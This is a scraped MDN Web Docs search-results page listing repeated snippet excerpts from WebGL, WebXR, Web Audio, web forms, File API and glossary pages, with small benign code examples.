...fficulty. But rather than just presenting them in a single long list, they are additionally divided into topics. Sometimes we revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels. Instead of trying to juggle shaders, geometry, and working with GPU memory, already in the first program, the examples here explore
WebGL in an incremental way. We believe that it leads to a more effective learning experience and ultimately a deeper understanding of the underlying concepts. Explanations about the examples are found in both the main text and in comments within the code. You should read all comments, because more advanced examples could not repeat comments about parts of the code that were previously explained. ...
...ds to a more effective learning experience and ultimately a deeper understanding of the underlying concepts. Explanations about the examples are found in both the main text and in comments within the code. You should read all comments, because more advanced examples could not repeat comments about parts of the code that were previously explained. Getting to know the rendering context Detect
WebGL This example demonstrates how to detect a
WebGL rendering context and reports the result to the user. Clearing with colors How to clear the rendering context with a solid color. Clearing by clicking How to combine user interaction with graphics operations. Clearing the rendering context with a random color when the user clicks. Simple color animation A very basic color animation, done by...
...And 2 more matches
WebGL tutorial - Web APIs
WebGL enables
web content to use an API based on OpenGL ES 2.0 to perform 3D rendering in an HTML <canvas> in browsers that support it without the use of plug-ins.
WebGL programs consist of control code written in JavaScript and special effects code (shader code) that is executed on a computer's Graphics Processing Unit (GPU).
WebGL elements can be mixed with other HTML elements and composited with other parts of the page or page background. This tutorial describes how to use the <canvas> element to draw
WebGL graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with
WebGL and will provide code snippets that may get you started in building your own content. Before you start Using the <canvas> element is not very difficult, but you do...
... use the <canvas> element to draw
WebGL graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with
WebGL and will provide code snippets that may get you started in building your own content. Before you start Using the <canvas> element is not very difficult, but you do need a basic understanding of HTML and JavaScript. The <canvas> element and
WebGL are not supported in some older browsers, but are supported in recent versions of all major browsers. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly. In this tutorial Getting started with
WebGL How to set up a
WebGL context. Adding 2D content to a
WebGL context How to render simple flat shapes using
WebGL. Using shaders to a...
...ported in some older browsers, but are supported in recent versions of all major browsers. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly. In this tutorial Getting started with
WebGL How to set up a
WebGL context. Adding 2D content to a
WebGL context How to render simple flat shapes using
WebGL. Using shaders to apply color in
WebGL Demonstrates how to add color to shapes using shaders. ...
...And 2 more matches
WebGL types - Web APIs
GLbyte byte 8-bit twos complement signed integer. GLshort short 16-bit twos complement signed integer. GLint long 32-bit twos complement signed integer. GLsizei long Used for sizes (e.g. width and height of the drawing buffer). ...
... GLbyte byte 8-bit twos complement signed integer. GLshort short 16-bit twos complement signed integer. GLint long 32-bit twos complement signed integer. GLsizei long Used for sizes (e.g. width and height of the drawing buffer). ...
...ic. GLubyte octet 8-bit twos complement unsigned integer. GLushort unsigned short 16-bit twos complement unsigned integer. GLuint unsigned long 32-bit twos complement unsigned integer. GLfloat unrestricted float 32-bit IEEE floating point number. GLclampf unrestricted float Clamped 32-bit IEEE floating point number.
WebGL 2 These types are used within a
WebGL2RenderingContext. All
WebGL 1 types are used as well. Type
Web IDL type Description GLint64 long long Signed 64-bit integer number.
WebGL extensions These types are used within
WebGL extensions. Type
Web IDL type Description GLuint64EXT long long Unsigned 64-bit integer number. Sp...
...And 2 more matches
Web audio spatialization basics - Web APIs
As if its extensive variety of sound processing (and other) options wasn't enough, the
Web Audio API also includes facilities to allow you to emulate the difference in sound as a listener moves around a sound source, for example panning as you move around a sound source inside a 3D game. The official term for this is spatialization, and this article will cover the basics of how to implement such a system. Basics of spatialization In
Web Audio, complex 3D spatializations are created using the PannerNode, which in layman's terms is basically a whole lotta cool maths to make audio appear in 3D space. Think sounds flying over you, creeping up behind you, moving across in front of you. That sort of thing. It's really useful for
WebXR and gaming. In 3D spaces, it's the only way to achieve rea...
...of creating simple left and right stereo panning effects. This is much simpler to use, but obviously nowhere near as versatile. If you just want a simple stereo panning effect, our StereoPannerNode example (see source code) should give you everything you need. 3D boombox demo To demonstrate 3D spatialization we've created a modified version of the boombox demo we created in our basic Using the
Web Audio API guide. see the 3D spatialization demo live (and see the source code also). The boombox sits inside a room (defined by the edges of the browser viewport), and in this demo, we can move and rotate it with the provided controls. When we move the boombox, the sound it produces changes accordingly, panning as it moves to the left or right of the room, or becoming quieter as it is moved aw...
...stener of the scene, usually your user. You can define where they are in space and in which direction they are facing. They remain static. The pannerNode can then calculate its sound position relative to the position of the listener. ...
...And 2 more matches
XRWebGLLayer.ignoreDepthValues - Web APIs
The read-only XR
WebGLLayer property ignoreDepthValues is a Boolean value which is true if the session has been configured to ignore the values in the depth buffer while rendering the scene. If the depth buffer is being used to determine the position of vertices, this property is false. The value of ignoreDepthValues can only be set when the XR
WebGLLayer is instantiated, by setting the corresponding value in the XR
WebGLLayerInit object specified as the constructor's layerInit parameter. As a parameter you're likely to set yourself, it is unlikely you'll need to read it later, but it's available if the need arises. ...
...Otherwise, if this is true, the depth buffer's values are being used to assist in placing objects in the scene. ...
... when the XR
WebGLLayer is instantiated, by setting the corresponding value in the XR
WebGLLayerInit object specified as the constructor's layerInit parameter. As a parameter you're likely to set yourself, it is unlikely you'll need to read it later, but it's available if the need arises. Syntax let ignoringDepthBuffer = xr
WebGLLayer.ignoreDepthValues; Value A Boolean value which is true if the
WebGL context's depth buffer is being used while computing the locations of points in the 3D world. Otherwise, if this is true, the depth buffer's values are being used to assist in placing objects in the scene. Since the XR compositor uses the depth buffer by default, this value is false unless explicitly set otherwise when creating the XR
WebGLLayer using its constructor, XR
WebGLLayer(). Usage note...
...And 2 more matches
XRWebGLLayerInit.antialias - Web APIs
The Boolean antialias property, if present and set to true in the XR
WebGLLayerInit object provided as the XR
WebGLLayer() constructor's layerInit parameter, requests that the new
WebGL rendering layer support anti-aliasing. If this property is missing or is false, anti-aliasing is not desired. There is no way to request a specific anti-aliasing format or level; this decision is left up to the user agent. Syntax let layerInit = { antialias: boolValue }; let glLayer = new XR
WebGLLayer(xrSession, gl, layerInit); let glLayer = new XR
WebGLLayer(xrSession, gl, { antialias: boolValue }); Value A Boolean value which can be set to true to request anti-aliasing support in the new
WebGL rendering layer. If false, anti-aliasing is not desired. Usage notes The state of anti-aliasing for the c...
...olValue }; let glLayer = new XR
WebGLLayer(xrSession, gl, layerInit); let glLayer = new XR
WebGLLayer(xrSession, gl, { antialias: boolValue }); Value A Boolean value which can be set to true to request anti-aliasing support in the new
WebGL rendering layer. If false, anti-aliasing is not desired. Usage notes The state of anti-aliasing for the context after being created can be read from the XR
WebGLLayer property antialias. Example In this example, before creating a new XR
WebGLLayer to use for rendering, the value of a user preference from a configuration interface is obtained using a function called getPreferenceValue() to determine whether the user has enabled or disabled anti-aliasing support; this is passed into the constructor. let options = { antialias: getPreferenceValue("antia...
...le In this example, before creating a new XR
WebGLLayer to use for rendering, the value of a user preference from a configuration interface is obtained using a function called getPreferenceValue() to determine whether the user has enabled or disabled anti-aliasing support; this is passed into the constructor. let options = { antialias: getPreferenceValue("antialiasing") }; let glLayer = new XR
WebGLLayer(xrSession, gl, options); if (glLayer) { xrSession.updateRenderState({ baseLayer: glLayer }); } Offering the user features such as the ability to enable or disable things like anti-aliasing can provide them with optiions to try when your app isn't performing as well as they'd like. Disabling anti-aliasing may improve performance to some extent. Specifications Specification ...
...And 2 more matches
XRWebGLLayerInit - Web APIs
The constructor's optional layerInit parameter takes an object which must conform to this dictionary. Properties alpha Optional The frame buffer's color buffer will be established with an alpha channel if the alpha Boolean property is true. Otherwise, the color buffer will not have an alpha channel. The default value is true. antialias Optional A Boolean value which is true if anti-aliasing is to be used when rendering in the context; otherwise false. The browser selects the anti-aliasing method to use; there is no support for requesting a specific mode yet. The default value is true. ...
...fic mode yet. The default value is true. depth Optional A Boolean value which, if true, requests that the new layer have a depth buffer; otherwise, no depth layer is allocated. The default is true. framebufferScaleFactor Optional A floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the frame buffer. The static XR
WebGLLayer function XR
WebGLLayer.getNativeFramebufferScaleFactor() returns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the device's native resolution. The default is 1.0. ignoreDepthValues Optional A Boolean value which indicates whether or not to ignore the contents of the depth buffer while compositing the scene. The default is false. ste...
...lt is 1.0. ignoreDepthValues Optional A Boolean value which indicates whether or not to ignore the contents of the depth buffer while compositing the scene. The default is false. stencil Optional A Boolean value which, if true, requests that the new layer include a stencil buffer. Otherwise, no stencil buffer is allocated. The default is false. Examples Given an XRSession, xrSession, and a
WebGL rendering context, gl, this snippet sets the rendering layer for the session, specifying the ignoreDepthValues option, indicating that the depth buffer should not be used (or should not exist at all), and that the only source for distance information of any given point is its position relative to the viewer. const layerOptions = { ignoreDepthValues: true }; xrSession.updateRenderState({ b...
...And 2 more matches
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
CSS is one of the three core
Web technologies, along with HTML and JavaScript. CSS usually styles HTML elements, but can be also used with other markup languages like SVG or XML. A CSS rule is a set of properties associated with a selector. ...
... CSS is one of the three core
Web technologies, along with HTML and JavaScript. CSS usually styles HTML elements, but can be also used with other markup languages like SVG or XML. A CSS rule is a set of properties associated with a selector. ...
... CSS (Cascading Style Sheets) is a declarative language that controls how
webpages look in the browser. The browser applies CSS style declarations to selected elements to display them properly. A style declaration contains the properties and their values, which determine how a
webpage looks. CSS is one of the three core
Web technologies, along with HTML and JavaScript. CSS usually styles HTML elements, but can be also used with other markup languages like SVG or XML. A CSS rule is a set of properties associated with a selector. Here is an example that makes every HTML paragraph yellow against a black background: /* The selector "p" indicates that all paragraphs in the document will be affected by that rule */ p { /* The "color" property defines the text color, in this case yellow.
...l be affected by that rule */ p { /* The "color" property defines the text color, in this case yellow. */ color: yellow; /* The "background-color" property defines the background color, in this case black. */ background-color: black } "Cascading" refers to the rules that govern how selectors are prioritized to change a page's appearance. This is a very important feature, since a complex
website can have thousands of CSS rules. Learn more General knowledge Learn CSS CSS on Wikipedia Technical reference The CSS documentation on MDN The CSS Working Group current work ...
Ruby - MDN Web Docs Glossary: Definitions of Web-related terms
Ruby is also a method for annotating east Asian text in HTML documents to provide pronunciation information; see the <ruby> element. ...
... Ruby is an open-source programming language. In a
Web context, Ruby is often used server-side with the Ruby On Rails (ROR) framework to produce
websites/apps. Ruby is also a method for annotating east Asian text in HTML documents to provide pronunciation information; see the <ruby> element. ...
... Ruby is an open-source programming language. In a
Web context, Ruby is often used server-side with the Ruby On Rails (ROR) framework to produce
websites/apps. Ruby is also a method for annotating east Asian text in HTML documents to provide pronunciation information; see the <ruby> element. ...
...ce programming language. In a
Web context, Ruby is often used server-side with the Ruby On Rails (ROR) framework to produce
websites/apps. Ruby is also a method for annotating east Asian text in HTML documents to provide pronunciation information; see the <ruby> element. ...
SEO - MDN Web Docs Glossary: Definitions of Web-related terms
Search engines give some guidelines for SEO, but big search engines keep result ranking as a trade secret. ...
... Search engines give some guidelines for SEO, but big search engines keep result ranking as a trade secret. ...
... Search engines give some guidelines for SEO, but big search engines keep result ranking as a trade secret. ...
...ffic and possibly revenue (for ecommerce and ads). Search engines give some guidelines for SEO, but big search engines keep result ranking as a trade secret. SEO combines official search engine guidelines, empirical knowledge, and theoretical knowledge from science papers or patents. SEO methods fall into three broad classes: technical Tag the content using semantic HTML. When exploring the
website, crawlers should only find the content you want indexed. copywriting Write content using your visitors' vocabulary. Use text as well as images so that crawlers can understand the subject. popularity You get most traffic when other established sites link to your site. Learn more General Knowledge SEO on Wikipedia Learn SEO Google
Webmasters Learning Resources ...
Search engine - MDN Web Docs Glossary: Definitions of Web-related terms
A
web site owner can exclude areas of the site from being accessed by a search engine's
web crawler (or spider), by defining "robot exclusion" information in a file named robots.txt. Indexing: Associating keywords and other information with specific
web pages that have been crawled. This enables users to find relevant pages as quickly as possible. ...
...a software system that collects information from the World Wide
Web and presents it to users who are looking for specific information. A search engine conducts the following processes:
Web crawling: Searching
web sites by navigating Hyperlinks on
web pages, both within a site, and from one site to another. A
web site owner can exclude areas of the site from being accessed by a search engine's
web crawler (or spider), by defining "robot exclusion" information in a file named robots.txt. Indexing: Associating keywords and other information with specific
web pages that have been crawled. This enables users to find relevant pages as quickly as possible. Searching: Looking for relevant
web pages based on queries consisting of key words and other commands to the search engine. The search engi...
...oking for relevant
web pages based on queries consisting of key words and other commands to the search engine. ...
...sisting of key words and other commands to the search engine. ...
Texel - MDN Web Docs Glossary: Definitions of Web-related terms
nd pixels, pixels are image data. Texel components are made up of subjective data, therefore they can be an image as well as a depth map. The process of mapping the appropriate Texel's to their corresponding points on a polygon is called texture mapping, which is a stage of the process of rendering a 3D image for display. ...
...to lighting the scene; however, in
WebGL, lighting is performed as part of the texture mapping process. Textures are characterised by collections of Texel's, as how images are characterised by collections of pixels. When texture mapping occurs the renderer maps Texel's to the appropriate pixels. ...
...ne; however, in
WebGL, lighting is performed as part of the texture mapping process. Textures are characterised by collections of Texel's, as how images are characterised by collections of pixels. When texture mapping occurs the renderer maps Texel's to the appropriate pixels. ...
...ng is performed as part of the texture mapping process. ...
How to structure a web form - Learn web development
s similarly). We'd love to hear about your experiences too. Note: You can find this example on GitHub as required-labels.html (see it live also). don't test the example with 2 or 3 of the versions uncommented -- screenreaders will definitely get confused if you have multiple labels AND multiple inputs with the same ID! Common HTML structures used with forms Beyond the structures specific to
web forms, it's good to remember that form markup is just HTML. This means that you can use all the power of HTML to structure a
web form. As you can see in the examples, it's common practice to wrap a label and its widget with a <li> element within a <ul> or <ol> list. <p> and <div> elements are also commonly used. Lists are recommended for structuring multiple checkboxes or radio buttons. In addi...
... it on GitHub -- see our payment-form.html source and running live): Test your skills! You've reached the end of this article, but can you remember the most important information? You can find a further test to verify that you've retained this information before you move on -- see Test your skills: Form structure. Summary You now have all the knowledge you'll need to properly structure your
web forms. We will cover many of the features introduced here in the next few articles, with the next article looking in more detail at using all the different types of form widgets you'll want to use to collect information from your users. See Also A List Apart: Sensible Forms: A Form Usability Checklist Previous Overview: Forms Next In this module Your first form How to structure...
...rms. We will cover many of the features introduced here in the next few articles, with the next article looking in more detail at using all the different types of form widgets you'll want to use to collect information from your users. ...
... next article looking in more detail at using all the different types of form widgets you'll want to use to collect information from your users. ...
Web forms — Working with user data - Learn web development
This module provides a series of articles that will help you master the essentials of
web forms.
Web forms are a very powerful tool for interacting with users -- most commonly they are used for collecting data from users, or allowing them to control a user interface. However, for historical and technical reasons it's not always obvious how to use them to their full potential. In the articles listed below, we'll cover all the essential aspects of
Web forms including marking up their HTML structure, styling form controls, validating form data, and submitting data to the server. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, y...
...than just HTML knowledge -- you also need to learn some specific techniques to style form controls, and some scripting knowledge is required to handle things like validation and creating custom form controls. Therefore, before you look at the other sections listed below we'd recommend that you go away and learn some CSS and JavaScript first. The above text is a good indicator as to why we've put
web forms into its own standalone module, rather than trying to mix bits of it into the HTML, CSS, and JavaScript topic areas -- form elements are more complex than most other HTML elements, and they also require a close marriage of related CSS and JavaScript techniques to get the most out of them. Note: If you are working on a computer/tablet/other device where you don't have the ability to create...
...S and JavaScript techniques to get the most out of them. Note: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Glitch. Introductory guides Your first form The first article in our series provides your very first experience of creating a
web form, including designing a simple form, implementing it using the right HTML elements, adding some very simple styling via CSS, and how data is sent to a server. How to structure a
web form With the basics out of the way, we now look in more detail at the elements used to provide structure and meaning to the different parts of a form. The different form controls Basic native form controls...
...nput> element, looking at the additional input types provided when HTML5 was released, and the various UI controls and data collection enhancements they provide. Additionally, we look at the <output> element. Other form controls Next we take a look at all the non-<input> form controls and associated tools, such as <select>, <textarea>, <meter>, and <progress>. Form styling guides Styling
web forms This article provides an introduction to styling forms with CSS, including all the basics you might need to know for basic styling tasks. Advanced form styling Here we look at some more advanced form styling techniques that need to be used when trying to deal with some of the more difficult-to-style form elements. UI pseudo-classes An introduction to the UI pseudo-classes enabling HTML...
Element: webkitmouseforceup event - Web APIs
It is part of the Force Touch events feature. Specifications Not part of any specification. ...
...It is part of the Force Touch events feature. Specifications Not part of any specification. ...
...It is part of the Force Touch events feature. Specifications Not part of any specification. ...
...It is part of the Force Touch events feature. Specifications Not part of any specification. Apple has a description at the Mac Developer Library. ...
Using files from web applications - Web APIs
This selection can be done by either using an HTML <input type="file"> element or by drag and drop. If you want to use the DOM File API from extensions or other browser chrome code, you can; however, note there are some additional features to be aware of. See Using the DOM File API in chrome code for details. Accessing selected file(s) Consider this HTML: <input type="file" id="input" multiple> The File API makes it possible to access a FileList containing File objects representing the files selected by the user. ...
...se you can style the label element as you wish. You need to provide a visual cue for the focus status of the hidden input field on its label, be it an outline as shown above, or background-color or box-shadow. (As of time of writing, Firefox doesn't show this visual cue for <input type="file"> elements.) Selecting files using drag and drop You can also let the user drag and drop files into your
web application. The first step is to establish a drop zone. Exactly what part of your content will accept drops may vary depending on the design of your application, but making an element receive drop events is easy: let dropbox; dropbox = document.getElementById("dropbox"); dropbox.addEventListener("dragenter", dragenter, false); dropbox.addEventListener("dragover", dragover, false); dropbox.add...
...r; const files = dt.files; handleFiles(files); } Here, we retrieve the dataTransfer field from the event, pull the file list out of it, and then pass that to handleFiles(). From this point on, handling the files is the same whether the user used the input element or drag and drop. Example: Showing thumbnails of user-selected images Let's say you're developing the next great photo-sharing
website and want to use HTML to display thumbnail previews of images before the user actually uploads them. You can establish your input element or drop zone as discussed previously and have them call a function such as the handleFiles() function below. function handleFiles(files) { for (let i = 0; i < files.length; i++) { const file = files[i]; if (!file.type.startsWith('image/')){ conti...
... Before actually transferr...
WEBGL_compressed_texture_astc - Web APIs
For more information, see the article Using ASTC Texture Compression for Game Assets by nvidia.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: ASTC compression is typically available on Mali ARM GPUs, Intel GPUs, and Nividia Tegra chips. This extension is available to both,
WebGL1 and
WebGL2 contexts. Methods This extension exposes one new methods. ext.getSupportedProfiles() Returns an array of strings containing the names of the ASTC profiles supported by the implementation. ...
... Recommendatio...
... Recommendation Initial definition. ...
... Recommendation Initial definition. ...
WEBGL_compressed_texture_s3tc_srgb - Web APIs
Compressed textures reduce the amount of memory needed to store a texture on the GPU, allowing for higher resolution textures or more of the same resolution textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both
WebGL1 and
WebGL2 contexts. Constants The compressed texture formats are exposed by four constants and can be used in two functions: compressedTexImage2D() and compressedTexSubImage2D(). ...
...XT A DXT1-compressed image in an sRGB image format. ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT1_EXT A DXT1-compressed image in an sRGB image format with a simple on/off alpha value. ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT3_EXT A DXT3-compressed image in an sRGBA image format. ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT5_EXT A DXT5-compressed image in an sRGBA image format. ...
... Recommendation Initial definition. ...
... Recommendation Initial definition. ...
WebGL2RenderingContext.bindBufferRange() - Web APIs
offset A GLintptr specifying the starting offset. size A GLsizeiptr specifying the amount of data that can be read from the buffer. Return value None. ...
...thod of the
WebGL 2 API binds a range of a given
WebGLBuffer to a given binding point (target) at a given index. Syntax void gl.bindBufferRange(target, index, buffer, offset, size); Parameters target A Glenum specifying the target for the bind operation. Possible values: gl.TRANSFORM_FEEDBACK_BUFFER gl.UNIFORM_BUFFER index A GLuint specifying the index of the target. buffer A
WebGLBuffer which to bind to the binding point (target). offset A GLintptr specifying the starting offset. size A GLsizeiptr specifying the amount of data that can be read from the buffer. Return value None. ...
... OpenGL ES 3.0The definition of 'glBindBufferRange' in that specification. ...
... specifying the starting offset. size A GLsizeiptr specifying the amount of data that can be read from the buffer. Return value None. Examples gl.bindBufferRange(gl.TRANSFORM_FEEDBACK_BUFFER, 1, buffer, 0, 4); Specifications Specification Status Comment
WebGL 2.0The definition of 'bindBufferRange' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glBindBufferRange' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
Syntax void gl.framebufferTextureLayer(target, attachment, texture, level, layer); Parameters target A GLenum specifying the binding point (target). Possible values: gl.FRAMEBUFFER: Collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. gl.DRAW_FRAMEBUFFER: Equivalent to gl.FRAMEBUFFER. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachment A GLenum specifying the attachment point for the texture. ...
...num specifying the attachment point for the texture. Possible values: gl.COLOR_ATTACHMENT{0-15}: Attaches the texture to one of the framebuffer's color buffers. gl.DEPTH_ATTACHMENT: Attaches the texture to the framebuffer's depth buffer. gl.STENCIL_ATTACHMENT: Attaches the texture to the framebuffer's stencil buffer. gl.DEPTH_STENCIL_ATTACHMENT: depth and stencil buffer. ...
... OpenGL ES 3.0The definition of 'glFramebufferTextureLayer' in that specification. Standard Man page of the (similar) OpenGL API. ...
...layer A GLint specifying the layer of the texture image to attach. Return value None. Examples gl.framebufferTextureLayer(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, texture, 0, 8); Specifications Specification Status Comment
WebGL 2.0The definition of 'framebufferTextureLayer' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glFramebufferTextureLayer' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.getIndexedParameter() - Web APIs
gl.UNIFORM_BUFFER_SIZE: Returns a GLsizeiptr. gl.UNIFORM_BUFFER_START: Returns a GLintptr. index A GLuint specifying the index of the target that is queried. Return value Depends on the requested information (as specified with target). ...
... gl.UNIFORM_BUFFER_SIZE: Returns a GLsizeiptr. gl.UNIFORM_BUFFER_START: Returns a GLintptr. index A GLuint specifying the index of the target that is queried. Return value Depends on the requested information (as specified with target). ...
... gl.UNIFORM_BUFFER_SIZE: Returns a GLsizeiptr. gl.UNIFORM_BUFFER_START: Returns a GLintptr. ...
...RM_BUFFER_SIZE: Returns a GLsizeiptr. gl.UNIFORM_BUFFER_START: Returns a GLintptr. index A GLuint specifying the index of the target that is queried. Return value Depends on the requested information (as specified with target). Examples var binding = gl.getIndexedParameter(gl.TRANSFORM_FEEDBACK_BUFFER_BINDING, 0); Specifications Specification Status Comment
WebGL 2.0The definition of 'getIndexedParameter' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glGet' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.texImage3D() - Web APIs
The
WebGLRenderingContext.texImage3D() method of the
WebGL API specifies a three-dimensional texture image. Syntax void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, GLintptr offset); void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, HTMLCanvasElement source); void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, HTMLImageElement source); void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, HTMLVideoElement source); void gl.texImage3D(target, level, internalformat, width, height, depth, border, format, type, ImageBitmap source); void gl.texImage3D(target, level, internalformat, width, height, depth, border, format...
..._10_10_REV gl.UNSIGNED_INT_10F_11F_11F_REV gl.UNSIGNED_INT_5_9_9_9_REV gl.UNSIGNED_INT_24_8 gl.FLOAT_32_UNSIGNED_INT_24_8_REV (pixels must be null) source One of the following objects can be used as a pixel source for the texture: ArrayBufferView, ImageBitmap, ImageData, HTMLImageElement, HTMLCanvasElement, HTMLVideoElement. offset A GLintptr byte offset into the
WebGLBuffer's data store. Used to upload data to the currently bound
WebGLTexture from the
WebGLBuffer bound to the PIXEL_UNPACK_BUFFER target. Return value None. Examples gl.texImage3D(gl.TEXTURE_3D, 0, // level gl.RGBA, // internalFormat 1, ...
... OpenGL ES 3.0The definition of 'glTexImage3D' in that specification. Standard Man page of the (similar) OpenGL ES 3.0 API. ...
... OpenGL ES 3.0The definition of 'glTexImage3D' in that specification. Standard Man page of the (similar) OpenGL ES 3.0 API. ...
WebGL2RenderingContext.texSubImage3D() - Web APIs
The
WebGL2RenderingContext.texSubImage3D() method of the
WebGL API specifies a sub-rectangle of the current texture. Syntax void gl.texSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, ArrayBufferView? srcData, optional srcOffset); void gl.texSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, ImageBitmap? pixels); void gl.texSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, ImageData? pixels); void gl.texSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, HTMLImageElement? pixels); void gl.texSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, HTMLCanvasElement? pixels); void gl.texSubIma...
...A Uint8Array must be used if type is gl.UNSIGNED_BYTE. A Uint16Array must be used if type is either gl.UNSIGNED_SHORT_5_6_5, gl.UNSIGNED_SHORT_4_4_4_4, gl.UNSIGNED_SHORT_5_5_5_1, or ext.HALF_FLOAT_OES. A Float32Array must be used if type is gl.FLOAT. ImageBitmap, ImageData, HTMLImageElement, HTMLCanvasElement, HTMLVideoElement. ...
...ray must be used if type is either gl.UNSIGNED_SHORT_5_6_5, gl.UNSIGNED_SHORT_4_4_4_4, gl.UNSIGNED_SHORT_5_5_5_1, or ext.HALF_FLOAT_OES. A Float32Array must be used if type is gl.FLOAT. ImageBitmap, ImageData, HTMLImageElement, HTMLCanvasElement, HTMLVideoElement. offset A GLintptr byte offset into the
WebGLBuffer's data store. Used to upload data to the currently bound
WebGLTexture from the
WebGLBuffer bound to the PIXEL_UNPACK_BUFFER target. Return value None. Examples gl.texSubImage3D(gl.TEXTURE_3D, 0, 0, 0, 0, image.width, image.height, 1, gl.RGBA, gl.UNSIGNED_BYTE, image); Specifications Specification Status Comment
WebGL 2.0The definition of 'texSubImage3D' in that specification. Editor's Draft Initial definition f...
... OpenGL ES 3.0The definition of 'glTexSubImage2D' in that specification. ...
WebGL2RenderingContext.transformFeedbackVaryings() - Web APIs
varyings An Array of DOMString specifying the the names of the varying variables to use. bufferMode A GLenum specifying the mode to use when capturing the varying variables. Either gl.INTERLEAVED_ATTRIBS or gl.SEPARATE_ATTRIBS. Return value None. ...
... varyings An Array of DOMString specifying the the names of the varying variables to use. bufferMode A GLenum specifying the mode to use when capturing the varying variables. Either gl.INTERLEAVED_ATTRIBS or gl.SEPARATE_ATTRIBS. Return value None. ...
... OpenGL ES 3.0The definition of 'glTransformFeedbackVaryings' in that specification. Standard Man page of the (similar) OpenGL API. ...
... OpenGL ES 3.0The definition of 'glTransformFeedbackVaryings' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
Syntax void gl.vertexAttribIPointer(index, size, type, stride, offset); Parameters index A GLuint specifying the index of the vertex attribute that is to be modified. size A GLint specifying the number of components per vertex attribute. Must be 1, 2, 3, or 4. type A GLenum specifying the data type of each component in the array. Must be one of: gl.BYTE, gl.UNSIGNED_BYTE, gl.SHORT, gl.UNSIGNED_SHORT, gl.INT, or gl.UNSIGNED_INT. stride A GLsizei specifying the offset in bytes between the beginning of consecutive vertex attributes. ...
...he array. Must be one of: gl.BYTE, gl.UNSIGNED_BYTE, gl.SHORT, gl.UNSIGNED_SHORT, gl.INT, or gl.UNSIGNED_INT. stride A GLsizei specifying the offset in bytes between the beginning of consecutive vertex attributes. offset A GLintptr specifying an offset in bytes of the first component in the vertex attribute array. Must be a multiple of type. Return value None. Description Very similar to
WebGLRenderingContext.vertexAttribPointer(). The main difference is that while values specified by vertexAttribPointer are always interpreted as floating-point values in the shader (even if they were originally specified as integers in the buffer), this method allows specifying values which are interpreted as integers in the shader. Examples Linear Blend Skinning //Describe the layout of the buff...
... OpenGL ES 3.0The definition of 'glVertexAttribPointer' in that specification. Standard Man page of the (similar) OpenGL API. ...
... OpenGL ES 3.0The definition of 'glVertexAttribPointer' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLProgram - Web APIs
The
WebGLProgram is part of the
WebGL API and is a combination of two compiled
WebGLShaders consisting of a vertex shader and a fragment shader (both written in GLSL). To create a
WebGLProgram, call the GL context's createProgram() function. After attaching the shader programs using attachShader(), you link them into a usable program. This is shown in the code below. var program = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw 'Could not compile
WebGL program. ...
... into a usable program. This is shown in the code below. var program = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw 'Could not compile
WebGL program. \n\n' + info; } See
WebGLShader for information on creating the vertexShader and fragmentShader in the above example. Examples Using the program The steps to actually do some work with the program involve telling the GPU to use the program, bind the appropriate data and configuration options, and finally draw something to the screen. // Use the program gl.useProgram(program); // Bind existing attribute data gl.bind...
... Recommendation Initial definition. ...
... false, 0, 0); // Draw a single triangle gl.drawArrays(gl.TRIANGLES, 0, 3); Deleting the program If there is an error linking the program or you wish to delete an existing program, then it is as simple as running
WebGLRenderingContext.deleteProgram(). This frees the memory of the linked program. gl.deleteProgram(program); Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLProgram' in that specification. Recommendation Initial definition. ...
WebGLRenderingContext.bindAttribLocation() - Web APIs
Recommendation Initial definition. ...
... Recommendation Initial definition. ...
... Recommendation Initial definition. ...
...ttribLocation() method of the
